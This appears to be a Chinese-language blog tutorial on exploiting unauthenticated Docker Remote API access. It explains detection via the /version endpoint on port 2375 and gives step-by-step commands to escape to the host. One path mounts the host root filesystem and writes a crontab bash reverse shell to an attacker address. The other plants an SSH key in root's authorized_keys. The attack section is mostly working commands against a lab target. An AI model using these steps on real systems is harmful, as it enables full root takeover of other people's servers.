docker remote api未授权访问

docker remote api未授权访问

漏洞产生原因

docker remote api开启后未配置加密通讯或访问限制,导致未授权用户远程控制docker引擎,并通过控制docker容器逃逸获取宿主机权限。

docker remote API配置并开启TLS加密可参考:http://oriole.fun/index.php/archives/24/

漏洞危害

root权限getshell

漏洞检测

​ docker remote api默认配置端口一般都是2375 ,当然这个端口号是可以自定义的,也有2376,2377,5000,4789,7946,5555等等。

​ 检测方式:访问http://xx.xx.xx.xx:2375/version,如果出现docker引擎返回的版本、宿主机配置等信息,可以证明存在docker未授权访问。
image-20210816230400448

漏洞利用

1.利用docker容器写定时任务反弹shell

​ 我们可以利用未授权访问的docker remote api 开启一个容器并挂载至根目录,由此我们可以获得任意读写的权限,然后我们再将反弹shell命令写入定时任务crontab中,即可使宿主机反弹shell。

​ 首先在攻击机上通过docker连接远程docker引擎:

格式为:

docker -H tcp://xx.xx.xx.xx:2375 command

image-20210819214522952

可以看到该docker引擎有一个原生的Ubuntu镜像

我们运行:

docker -H tcp://192.168.1.103:2375 run -ti  -v /:/mnt ubuntu:latest /bin/bash

image-20210819220134013

​ 此时我们已经进入远程docker容器,宿主机的根目录已经被挂载至容器的/mnt目录下,我们进入定时任务的文件目录,Ubuntu的定时任务文件所在路径是 /var/spool/cron/crontabs/root ,Centos则是/var/spool/cron/root。

​ 这次测试用靶机是Ubuntu系统,所以我们直接

cd /mnt/var/spool/cron/crontabs/,然后输入以下命令:

echo "bash -c 'bash -i >& /dev/tcp/192.168.1.102/4444 0>&1'" > root
#不要写直接弹的,用bash -c

image-20210819230632220

反弹shell,可以看到是root权限的,危害还是很高的:

image-20210819230928119

2.上传ssh公钥免密登录

也可以直接上传ssh公钥以实现免密登录:

直接将公钥传入/root/.ssh/authorized_keys

image-20210819234350208

ssh root@192.168.1.103

直接登录成功,同样也是root用户:

image-20210819234614485

像Ubuntu有时候不能直接通过root登录,还需要修改/etc/ssh/sshd_config文件,增加PermitRootLogin yes配置项,但是我们无法执行命令重启ssh服务,还得通过定时任务重启ssh,所以最方便的getshell路径还是通过定时任务直接弹shell。

添加新评论

我们会加密处理您的邮箱保证您的隐私. 标有星号的为必填信息 *